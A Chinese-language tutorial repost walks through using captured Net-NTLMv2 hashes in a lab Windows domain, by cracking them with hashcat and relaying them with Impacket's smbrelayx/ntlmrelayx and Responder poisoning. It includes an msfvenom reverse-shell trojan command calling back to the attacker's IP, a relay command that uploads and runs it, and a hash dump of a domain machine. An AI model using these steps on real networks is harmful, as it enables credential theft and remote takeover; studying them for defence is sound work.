WEB安全--内网渗透--利用Net-NTLMv2 Hash

一、前言

在前两篇文章中分析了NTLM协议中Net-NTLMv2 Hash的生成、如何捕获Net-NTLMv2 Hash,现在就来探讨一下在内网环境中,如何利用Net-NTLMv2 Hash进行渗透。

二、Net-NTLM Hash的破解

工具:hashcat

原理:利用其内部的字典对Net-NTLMv2 Hash进行爆破。

能不能跑出来就看字典里面有没有了。 在Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH这个时候就没有Relay的必要性了;

但是在实际中遇到的例子往往不会是v1,而是v2。这个时候密码强度高一点,基本就跑不出来了,这种情况底下,不妨试一试Relay。

三、利用Net-NTLM Hash进行中间人攻击(Relay)

3.1、原理

中间人攻击:client认为attacker是server端,而server端也以为attacker是client端,attacker在中间起到进行数据转发的作用。

Attacker对type1、type2数据包只做转发,然后当Client发送type3时,Attacker利用自己手中域用户的Net-NTLMv2 Hash构建数据包发送给Server,实现成功登录。

工作组:

NTLM Relay攻击在工作组环境下感觉用处不大,因为工作组只是在一个内网环境中,各个机器并没有明确关系,所以这个时候relay的话需要账号密码相同,但是如果账号密码相同的话,为什么不直接用哈希传递呢?

域:

域环境中的hash都统一存储在域控的NTDS.dit中,如果域内没有限制域用户登录到指定机器,那么就能域用户relay到其他机器或者直接使用域控relay到域机器(域控默认开启smb签名,而其他域机器默认不开启)

所以我们抓到的Net-NTLMv2 Hash必须是域用户的信息,因为在域环境下域用户登录任意机器时,其的Net-NTLM Hash值是相同的。

3.2、实现方式

实验环境:

client:域控@administrator@192.168.228.10
server1: 域机器@192.168.228.13(win2008)
server2:域机器@192.168.228.40(win10)
attacker:kali@192.168.228.110

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有client访问这个SMB服务器时,smbrelayx.py将抓到client的NET-NTLM-Hash,然后重放给server端进行身份验证。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py是对smbrelayx的改进,支持多种协议进行中继。
ntlmrelayx.py脚本可以直接用现有的 hash 去尝试重放指定的机器。

生成一个msf远控木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.110 LPORT=4444 -f exe > shell.exe

msf设置监听:

执行smbrelayx.py:

首先将生成的msf马拖到smbrelayx.py同目录下

python3 smbrelayx.py -h 192.168.228.13 -e ./shell.exe (-e选项在目标主机上传并运行payload,这里在server1(域机器)上线木马)

在域控上访问恶意的SMB服务器(attacker:kali@192.168.228.110)

smbrelayx.py拿到了当前用户的NET-NTLM-Hash(域用户)

msf获得了192.168.228.13(server1(域机器))的会话

responder -I eth0 -r -d -v 开启毒化

python3 ntlmrelayx.py -t smb://192.168.228.40(server2(域机器))

在域控资源管理器的地址栏中输入\\bbb时,系统会尝试连接主机“bbbbb”。首先它会检查本地host文件,然后检查DNS,如果都不存在,就会通过LLMNR协议进行多播,在局域网中进行搜索。此时可以在攻击机上看到Responder的响应,然后受害者的Windows机器会向攻击者进行身份验证。

responder开启毒化后将身份验证所需的NET-NTLM-Hash传到192.168.228.40(server2(域机器)),在server端进行验证。

Relay成功后这个脚本重放了445并执行了dumphash的命令,由于是域管用户,所以将server2(域机器)端存储的所有hash都dump出来了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/75875.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何正确使用 `apiStore` 进行 API 管理

在现代前端开发中,API 管理是一个非常重要的环节。apiStore 是一个基于 Pinia 的状态管理工具,它可以帮助我们更高效地管理和调用 API。本文将详细介绍如何正确使用 apiStore,包括如何创建 API 配置文件、在组件中使用 apiStore 以及如何配置…

瓦片数据合并方法

影像数据 假如有两份影像数据 1.全球底层影像0-5级别如下: 2.局部高清影像数据级别9-14如下: 合并方法 将9-14文件夹复制到全球底层0-5的目录下 如下: 然后合并xml文件 使得Tileset设置到最高级(包含所有级别)&…

C++中的类和对象(上)

1 类的定义 1.1 类定义的格式 1 class为定义类的关键字,Stack为类的名字,{}中为类的主体,注意类定义结束时后面分号不能省 略》。类体中内容称为类的成员:类中的变量称为类的属性或成员变量; 类中的函数称为类的方法或者成员函数…

【Tauri2】013——前端Window Event与创建Window

前言 【Tauri2】012——on_window_event函数-CSDN博客https://blog.csdn.net/qq_63401240/article/details/146909801?spm1001.2014.3001.5501 前面介绍了on_window_event,这个在Builder中的方法,里面有许多事件,比如Moved,Res…

【问题处理】webpack4升webpack5,报错Uncaught ReferrnceError: process is not defined

问题 正在做webpack4升webpack5,项目构建项目成功后在浏览器打开时报错 Uncaught ReferrnceError: process is not defined。 原因 webpack 5 不再自动 polyfill Node.js 的核心模块。 如果你在浏览器运行的代码中使用它,需要从 NPM 中安装兼容模块…

软件工程师减肥计划

一、目标设定 在 3 个月内减轻体重 5-7kg,改善身体代谢水平和体脂率,增强身体活力和精神状态,以更好地适应工作强度。 二、饮食调整 (一)基本原则 控制热量摄入,保证每天摄入热量低于消耗热量 500-800 …

即时访问成为降低风险的关键

云计算和软件即服务 (SaaS) 解决方案的广泛采用从根本上重塑了企业的数字格局。 不同行业的组织越来越多地利用云固有的可扩展性和成本效益来推动创新和简化运营。 这种向基于云的环境的转变也带来了一系列新的复杂安全挑战,需要仔细考虑并制定强有力的缓解策略。…

[环境配置] 1. 开发环境搭建

开发环境搭建 本文档将详细介绍如何搭建深度学习开发环境,包括 Python 环境配置、IDE 选择与配置以及虚拟环境管理。 也会介绍一下最近比较流行的 uv 工具。它是一个用 Rust 编写的极其快速的 Python 包和项目管理工具。 uv 是一个非常强大的工具,它可…

rust 同时处理多个异步任务,并在一个任务完成退出

use std::thread; use tokio::{sync::mpsc,time::{sleep, Duration}, };async fn check_for_one() {// 该函数会每秒打印一次 "write"loop {println!("write");sleep(Duration::from_secs(1)).await;} }async fn start_print_task() -> Result<(), (…

“群芳争艳”:CoreData 4 种方法计算最大值的效率比较(上)

概览 在 CoreData 支持的 App 中&#xff0c;一种常见操作就是计算数据库表中指定字段的最大值&#xff08;或最小值&#xff09;。就是这样一种看起来“不足挂齿”的任务&#xff0c;可能稍不留神就会“马失前蹄”。 在实际的代码中&#xff0c;我们怎样才能既迅速又简洁的…

skynet网络包库(lua-netpack.c)的作用解析

目录 网络包库&#xff08;lua-netpack.c&#xff09;的作用解析1. 数据包的分片与重组2. 网络事件处理3. 内存管理4. 数据打包与解包 动态库&#xff08;.so&#xff09;在 Lua 中的使用1. 编译为动态库2. Lua 中加载与调用(1) 加载模块(2) 核心方法(3) 使用示例 3. 注意事项 …

计科数据库第二次上机操作--实验二 表的简单查询

一、建数据库和表 1&#xff0e;启动数据库服务软件 Navicat 2&#xff0e;在 Navicat 中建立数据库 test 3. 在test数据库上建立teacher表&#xff1a; 二、基本查询 2.1 从teacher表中分别检索出教师的所有信息 SELECT * FROM teacher WHERE 教工号2000; SELECT * FROM t…

WPF依赖注入

一、IOC 在 WPF 中的原理 控制反转&#xff08;IOC&#xff09;是一种设计原则&#xff0c;它将对象的创建和依赖关系的管理从对象本身转移到外部容器&#xff08;IOC 容器&#xff09;。在传统的编程方式中&#xff0c;一个对象如果需要使用另一个对象&#xff08;即存在依赖…

【大模型深度学习】如何估算大模型需要的显存

一、模型参数量 参数量的单位 参数量指的是模型中所有权重和偏置的数量总和。在大模型中&#xff0c;参数量的单位通常以“百万”&#xff08;M&#xff09;或“亿”&#xff08;B&#xff0c;也常说十亿&#xff09;来表示。 百万&#xff08;M&#xff09;&#xff1a;表示…

BUUCTF流量分析题

文章目录 前言wireshark被嗅探的流量被偷走的文件easycap数据包中的线索秘密文件[安洵杯 2019]Attack (难&#xff0c;没写)被劫持的神秘礼物大流量分析&#xff08;一&#xff09;大流量分析&#xff08;二&#xff09;大流量分析&#xff08;三&#xff09;模板模板 前言 CT…

adb检测不到原来的设备List of devices attached解决办法

进设备管理器-通用串行总线设备 卸载无法检测到的设备驱动 重新拔插数据线

mapbox基础,加载栅格图片到地图

👨‍⚕️ 主页: gis分享者 👨‍⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍⚕️ 收录于专栏:mapbox 从入门到精通 文章目录 一、🍀前言1.1 ☘️mapboxgl.Map 地图对象1.2 ☘️mapboxgl.Map style属性1.3 ☘️raster 栅格图层 api二、🍀使用本地载…

复活之我会二分

文章目录 整数二分模板模板1&#xff1a;满足条件的第一个数模板2&#xff1a;满足条件的最后一个数 浮点数二分模板一、Building an Aquarium思路分析具体代码 二、Tracking Segments思路分析具体代码 三、Wooden Toy Festival思路分析具体代码 四、路标设置思路分析具体代码 …

每日c/c++题 备战蓝桥杯(握手问题)

试题 A: 握手问题 题解 题目描述 小蓝组织了一场算法交流会议&#xff0c;共有50人参加。按照惯例&#xff0c;每个人都要与除自己外的其他所有人握手一次。但有7个人彼此之间没有握手&#xff08;这7人与其他43人正常握手&#xff09;。求实际发生的握手总次数。 解题思路 …

mysql8.0.29 win64下载

mysql win64安装包 mysql win64安装包下载 mysql win64安装包下载 通过网盘分享的文件&#xff1a;mysql 链接: https://pan.baidu.com/s/1sEOl-wSVtOG5gfIRdt5MXw?pwdgi7i 提取码: gi7i